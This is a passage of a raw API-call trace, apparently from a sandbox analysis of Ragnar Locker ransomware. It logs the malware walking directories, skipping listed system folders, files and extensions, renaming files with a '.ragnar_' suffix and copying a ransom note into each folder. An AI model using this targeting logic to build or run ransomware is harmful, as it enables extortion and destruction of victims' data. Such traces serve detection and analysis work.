lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0054.626] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0054.626] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0054.626] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0054.626] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0054.626] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0054.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0054.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0054.627] CloseHandle (hObject=0xffffffff) returned 0 [0054.627] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" [0054.627] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui.ragnar_FD7BD9FC" [0054.627] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0054.627] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.627] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0054.627] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0054.627] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned=".mui" [0054.627] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0054.627] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0054.627] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0054.627] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0054.627] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0054.627] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0054.627] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0054.627] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0054.627] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0054.627] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0054.627] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0054.627] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0054.627] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0054.627] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0054.627] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0054.627] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0054.627] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0054.627] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0054.627] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0054.627] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0054.627] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0054.627] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0054.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0054.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0054.628] CloseHandle (hObject=0xffffffff) returned 0 [0054.628] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" [0054.628] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui.ragnar_FD7BD9FC" [0054.628] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0054.628] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0054.628] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0054.628] lstrcpyW (in: lpString1=0x1eab62, lpString2="TipTsf.dll.mui" | out: lpString1="TipTsf.dll.mui") returned="TipTsf.dll.mui" [0054.628] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned=".mui" [0054.628] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0054.628] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2="autorun.inf") returned 1 [0054.628] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2="boot.ini") returned 1 [0054.628] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2="bootfont.bin") returned 1 [0054.628] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2="bootsect.bak") returned 1 [0054.628] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2="bootmgr") returned 1 [0054.628] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2="bootmgr.efi") returned 1 [0054.628] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2="bootmgfw.efi") returned 1 [0054.628] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2="desktop.ini") returned 1 [0054.628] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2="iconcache.db") returned 1 [0054.628] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2="ntldr") returned 1 [0054.628] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2="ntuser.dat") returned 1 [0054.628] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2="ntuser.dat.log") returned 1 [0054.628] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2="ntuser.ini") returned 1 [0054.628] lstrcmpiW (lpString1="TipTsf.dll.mui", lpString2="thumbs.db") returned 1 [0054.628] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0054.628] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0054.628] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0054.629] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0054.629] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0054.629] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0054.629] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0054.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0054.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0054.629] CloseHandle (hObject=0xffffffff) returned 0 [0054.629] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" [0054.629] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui.ragnar_FD7BD9FC" [0054.629] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0054.629] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0054.629] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0054.629] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0054.629] lstrcmpiW (lpString1="es-ES", lpString2=".") returned 1 [0054.629] lstrcmpiW (lpString1="es-ES", lpString2="..") returned 1 [0054.629] lstrcmpiW (lpString1="es-ES", lpString2="Windows") returned -1 [0054.629] lstrcmpiW (lpString1="es-ES", lpString2="Windows.old") returned -1 [0054.629] lstrcmpiW (lpString1="es-ES", lpString2="Tor browser") returned -1 [0054.629] lstrcmpiW (lpString1="es-ES", lpString2="Internet Explorer") returned -1 [0054.629] lstrcmpiW (lpString1="es-ES", lpString2="Google") returned -1 [0054.629] lstrcmpiW (lpString1="es-ES", lpString2="Opera") returned -1 [0054.629] lstrcmpiW (lpString1="es-ES", lpString2="Opera Software") returned -1 [0054.629] lstrcmpiW (lpString1="es-ES", lpString2="Mozilla") returned -1 [0054.630] lstrcmpiW (lpString1="es-ES", lpString2="Mozilla Firefox") returned -1 [0054.630] lstrcmpiW (lpString1="es-ES", lpString2="$Recycle.Bin") returned 1 [0054.630] lstrcmpiW (lpString1="es-ES", lpString2="ProgramData") returned -1 [0054.630] lstrcmpiW (lpString1="es-ES", lpString2="All Users") returned 1 [0054.630] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0054.630] lstrcpyW (in: lpString1=0x1eb62e, lpString2="es-ES" | out: lpString1="es-ES") returned="es-ES" [0054.630] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\" [0054.630] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\" [0054.630] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\RGNR_FD7BD9FC.txt" [0054.630] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0054.639] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*" [0054.640] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0054.640] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0054.640] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0054.640] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72ce2d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72ce2d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0054.640] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.640] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72ce2d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72ce2d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.640] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.640] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.640] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ce2d80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x72ce2d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0054.640] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0054.640] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0054.640] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.640] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0054.640] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0054.640] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.640] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0054.640] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72ce2d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72ce2d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0054.640] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x72ce2d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x72ce2d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.640] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ce2d80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x72ce2d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0054.641] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0054.641] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0054.641] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\RGNR_FD7BD9FC.txt") returned=".txt" [0054.641] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0054.641] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.641] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0054.641] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0054.641] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned=".mui" [0054.641] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0054.641] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0054.641] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0054.641] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0054.641] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0054.641] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0054.641] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0054.641] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0054.641] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0054.641] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0054.641] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0054.641] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0054.641] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0054.641] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0054.641] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0054.641] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0054.641] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0054.641] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0054.641] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0054.641] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0054.641] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0054.641] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0054.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0054.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common 